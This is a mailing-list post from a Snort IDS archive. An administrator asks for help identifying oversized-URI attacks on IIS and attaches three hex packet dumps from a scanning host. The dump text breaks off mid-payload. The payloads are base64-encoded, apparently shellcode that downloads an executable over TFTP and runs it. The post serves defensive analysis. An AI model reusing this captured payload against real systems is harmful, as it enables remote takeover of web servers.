Snort mailing list archives
Unrecognized attack patterns against IIS
From: "Michael Scheidell" <scheidell () secnap net>
Date: Sat, 11 Jun 2005 11:14:17 -0400
I do not recognize the pattern of these attached packed dumps, but, the computer on 24.214.205.38 is actively engaged in searching the internet for open web servers, see: http://www.mynetwatchman.com/LID.asp?ip=24.214.205.38 and Total Records against IP: 1112 Number of targets: 193 Date Range: 2005-06-05 to 2005-06-11 http://www.dshield.org/ipinfo.php?ip=024.214.205.038 Anyone have any idea what they are trying to do? -- Note: Timezone for this report is GMT. Generated by BASE v1.1.2 (zora) on Sat, 11 Jun 2005 13:59:02 +0000 GMT. All Dates and Times in the report below are also TimeZone GMT. ------------------------------------------------------------------------ ------ #(2 - 63022) [2005-06-11 13:51:47] [snort/15] http_inspect: OVERSIZE REQUEST-URI DIRECTORY IPv4: 24.214.205.38 -> 208.138.xxx.xxx hlen=5 TOS=0 dlen=1420 ID=14896 flags=2 offset=0 TTL=111 chksum=60910 TCP: port=61871 -> dport: 80 flags=***A**** seq=3054171714 ack=3107109074 off=5 res=0 win=65535 urp=0 chksum=3681 Payload: length = 1380 000 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQUFBQUFBQ 010 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQUFBQUFBQ 020 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQUFBQUFBQ 030 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQUFBQUFBQ 040 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQUFBQUFBQ 050 : 55 46 42 51 55 46 42 51 55 46 42 51 51 4D 41 49 UFBQUFBQUFBQQMAI 060 : 34 49 4D 56 77 4F 43 42 41 6F 41 6B 45 4B 51 51 4IMVwOCBAoAkEKQQ 070 : 70 42 43 6B 45 4B 42 78 46 54 79 2F 2F 2F 38 36 pBCkEKBxFTy///86 080 : 45 59 41 41 41 43 4C 52 54 79 4C 66 41 56 34 41 EYAAACLRTyLfAV4A 090 : 65 2B 4C 54 78 69 4C 58 79 41 42 36 2B 4D 75 53 e+LTxiLXyAB6+MuS 0a0 : 59 73 30 69 77 48 75 4D 63 43 5A 72 49 54 41 64 Ys0iwHuMcCZrITAd 0b0 : 41 66 42 79 67 30 42 77 75 76 30 4F 31 51 6B 42 AfByg0Bwuv0O1QkB 0c0 : 48 58 6A 69 31 38 6B 41 65 74 6D 69 77 78 4C 69 HXji18kAetmiwxLi 0d0 : 31 38 63 41 65 75 4C 48 49 73 42 36 34 6C 63 4A 18cAeuLHIsB64lcJ 0e0 : 41 54 44 4D 63 42 6B 69 30 41 77 68 63 42 34 44 ATDMcBki0AwhcB4D 0f0 : 34 74 41 44 49 74 77 48 4B 32 4C 61 41 6A 70 43 4tADItwHK2LaAjpC 100 : 77 41 41 41 49 74 41 4E 41 56 38 41 41 41 41 69 wAAAItANAV8AAAAi 110 : 32 67 38 58 7A 48 32 59 46 62 72 44 57 6A 76 7A 2g8XzH2YFbrDWjvz 120 : 75 42 67 61 4A 6A 2B 69 67 35 58 2F 2B 66 6F 37 uBgaJj+ig5X/+fo7 130 : 76 2F 2F 2F 32 4E 74 5A 43 41 76 59 79 42 30 5A v///2NtZCAvYyB0Z 140 : 6E 52 77 49 43 31 70 49 44 41 75 4D 43 34 77 4C nRwIC1pIDAuMC4wL 150 : 6A 41 67 52 30 56 55 49 47 4E 6D 5A 79 35 6C 65 jAgR0VUIGNmZy5le 160 : 47 55 6D 63 33 52 68 63 6E 51 67 59 32 5A 6E 4C GUmc3RhcnQgY2ZnL 170 : 6D 56 34 5A 53 5A 6C 65 47 6C 30 41 45 4A 43 51 mV4ZSZleGl0AEJCQ 180 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 190 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 1a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 1b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 1c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 1d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 1e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 1f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 200 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 210 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 220 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 230 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 240 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 250 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 260 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 270 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 280 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 290 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 2a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 2b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 2c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 2d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 2e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 2f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 300 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 310 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 320 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 330 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 340 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 350 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 360 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 370 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 380 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 390 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 3a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 3b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 3c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 3d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 3e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 3f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 400 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 410 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 420 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 430 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 440 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 450 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 460 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 470 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 480 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 490 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 4a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 4b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 4c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 4d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 4e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 4f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 500 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 510 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 520 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 530 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 540 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 550 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 560 : 6B 4A 43 51 kJCQ ------------------------------------------------------------------------ ------ #(2 - 55922) [2005-06-08 01:52:00] [snort/15] http_inspect: OVERSIZE REQUEST-URI DIRECTORY IPv4: 24.214.205.38 -> 208.138.xxx.xxx hlen=5 TOS=0 dlen=1420 ID=31328 flags=2 offset=0 TTL=111 chksum=44482 TCP: port=52043 -> dport: 80 flags=***A**** seq=894735184 ack=3806704065 off=5 res=0 win=65535 urp=0 chksum=62927 Payload: length = 1380 000 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQUFBQUFBQ 010 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQUFBQUFBQ 020 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQUFBQUFBQ 030 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQUFBQUFBQ 040 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQUFBQUFBQ 050 : 55 46 42 51 55 46 42 51 55 46 42 51 51 4D 41 49 UFBQUFBQUFBQQMAI 060 : 34 49 4D 56 77 4F 43 42 41 6F 41 6B 45 4B 51 51 4IMVwOCBAoAkEKQQ 070 : 70 42 43 6B 45 4B 42 78 46 54 79 2F 2F 2F 38 36 pBCkEKBxFTy///86 080 : 45 59 41 41 41 43 4C 52 54 79 4C 66 41 56 34 41 EYAAACLRTyLfAV4A 090 : 65 2B 4C 54 78 69 4C 58 79 41 42 36 2B 4D 75 53 e+LTxiLXyAB6+MuS 0a0 : 59 73 30 69 77 48 75 4D 63 43 5A 72 49 54 41 64 Ys0iwHuMcCZrITAd 0b0 : 41 66 42 79 67 30 42 77 75 76 30 4F 31 51 6B 42 AfByg0Bwuv0O1QkB 0c0 : 48 58 6A 69 31 38 6B 41 65 74 6D 69 77 78 4C 69 HXji18kAetmiwxLi 0d0 : 31 38 63 41 65 75 4C 48 49 73 42 36 34 6C 63 4A 18cAeuLHIsB64lcJ 0e0 : 41 54 44 4D 63 42 6B 69 30 41 77 68 63 42 34 44 ATDMcBki0AwhcB4D 0f0 : 34 74 41 44 49 74 77 48 4B 32 4C 61 41 6A 70 43 4tADItwHK2LaAjpC 100 : 77 41 41 41 49 74 41 4E 41 56 38 41 41 41 41 69 wAAAItANAV8AAAAi 110 : 32 67 38 58 7A 48 32 59 46 62 72 44 57 6A 76 7A 2g8XzH2YFbrDWjvz 120 : 75 42 67 61 4A 6A 2B 69 67 35 58 2F 2B 66 6F 37 uBgaJj+ig5X/+fo7 130 : 76 2F 2F 2F 32 4E 74 5A 43 41 76 59 79 42 30 5A v///2NtZCAvYyB0Z 140 : 6E 52 77 49 43 31 70 49 44 41 75 4D 43 34 77 4C nRwIC1pIDAuMC4wL 150 : 6A 41 67 52 30 56 55 49 47 4E 6D 5A 79 35 6C 65 jAgR0VUIGNmZy5le 160 : 47 55 6D 63 33 52 68 63 6E 51 67 59 32 5A 6E 4C GUmc3RhcnQgY2ZnL 170 : 6D 56 34 5A 53 5A 6C 65 47 6C 30 41 45 4A 43 51 mV4ZSZleGl0AEJCQ 180 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 190 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 1a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 1b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 1c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 1d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 1e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 1f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 200 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 210 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 220 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 230 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 240 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 250 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 260 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 270 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 280 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 290 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 2a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 2b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 2c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 2d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 2e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 2f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 300 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 310 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 320 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 330 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 340 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 350 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 360 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 370 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 380 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 390 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 3a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 3b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 3c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 3d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 3e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 3f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 400 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 410 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 420 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 430 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 440 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 450 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 460 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 470 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 480 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 490 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 4a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 4b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 4c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 4d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 4e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 4f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 500 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 510 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 520 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 530 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 540 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 550 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 560 : 6B 4A 43 51 kJCQ ------------------------------------------------------------------------ ------ #(2 - 54179) [2005-06-07 07:57:10] [snort/15] http_inspect: OVERSIZE REQUEST-URI DIRECTORY IPv4: 24.214.205.38 -> 208.138.xxx.xxx hlen=5 TOS=0 dlen=1420 ID=18428 flags=2 offset=0 TTL=111 chksum=57378 TCP: port=28477 -> dport: 80 flags=***A**** seq=124727956 ack=3115002626 off=5 res=0 win=64860 urp=0 chksum=34813 Payload: length = 1380 000 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQUFBQUFBQ 010 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQUFBQUFBQ 020 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQUFBQUFBQ 030 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQUFBQUFBQ 040 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQUFBQUFBQ 050 : 55 46 42 51 55 46 42 51 55 46 42 51 51 4D 41 49 UFBQUFBQUFBQQMAI 060 : 34 49 4D 56 77 4F 43 42 41 6F 41 6B 45 4B 51 51 4IMVwOCBAoAkEKQQ 070 : 70 42 43 6B 45 4B 42 78 46 54 79 2F 2F 2F 38 36 pBCkEKBxFTy///86 080 : 45 59 41 41 41 43 4C 52 54 79 4C 66 41 56 34 41 EYAAACLRTyLfAV4A 090 : 65 2B 4C 54 78 69 4C 58 79 41 42 36 2B 4D 75 53 e+LTxiLXyAB6+MuS 0a0 : 59 73 30 69 77 48 75 4D 63 43 5A 72 49 54 41 64 Ys0iwHuMcCZrITAd 0b0 : 41 66 42 79 67 30 42 77 75 76 30 4F 31 51 6B 42 AfByg0Bwuv0O1QkB 0c0 : 48 58 6A 69 31 38 6B 41 65 74 6D 69 77 78 4C 69 HXji18kAetmiwxLi 0d0 : 31 38 63 41 65 75 4C 48 49 73 42 36 34 6C 63 4A 18cAeuLHIsB64lcJ 0e0 : 41 54 44 4D 63 42 6B 69 30 41 77 68 63 42 34 44 ATDMcBki0AwhcB4D 0f0 : 34 74 41 44 49 74 77 48 4B 32 4C 61 41 6A 70 43 4tADItwHK2LaAjpC 100 : 77 41 41 41 49 74 41 4E 41 56 38 41 41 41 41 69 wAAAItANAV8AAAAi 110 : 32 67 38 58 7A 48 32 59 46 62 72 44 57 6A 76 7A 2g8XzH2YFbrDWjvz 120 : 75 42 67 61 4A 6A 2B 69 67 35 58 2F 2B 66 6F 37 uBgaJj+ig5X/+fo7 130 : 76 2F 2F 2F 32 4E 74 5A 43 41 76 59 79 42 30 5A v///2NtZCAvYyB0Z 140 : 6E 52 77 49 43 31 70 49 44 49 77 4F 43 34 32 4D nRwIC1pIDIwOC42M 150 : 69 34 78 4E 6A 67 75 4D 54 51 67 52 30 56 55 49 i4xNjguMTQgR0VUI 160 : 47 4E 6D 5A 79 35 6C 65 47 55 6D 63 33 52 68 63 GNmZy5leGUmc3Rhc 170 : 6E 51 67 59 32 5A 6E 4C 6D 56 34 5A 53 5A 6C 65 nQgY2ZnLmV4ZSZle 180 : 47 6C 30 41 45 4A 43 51 6B 4A 43 51 6B 4A 43 51 Gl0AEJCQkJCQkJCQ 190 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 1a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 1b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 1c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 1d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 1e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 1f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 200 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 210 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 220 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 230 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 240 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 250 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 260 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 270 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 280 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 290 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 2a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 2b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 2c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 2d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 2e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 2f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 300 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 310 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 320 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 330 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 340 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 350 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 360 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 370 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 380 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 390 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 3a0 : 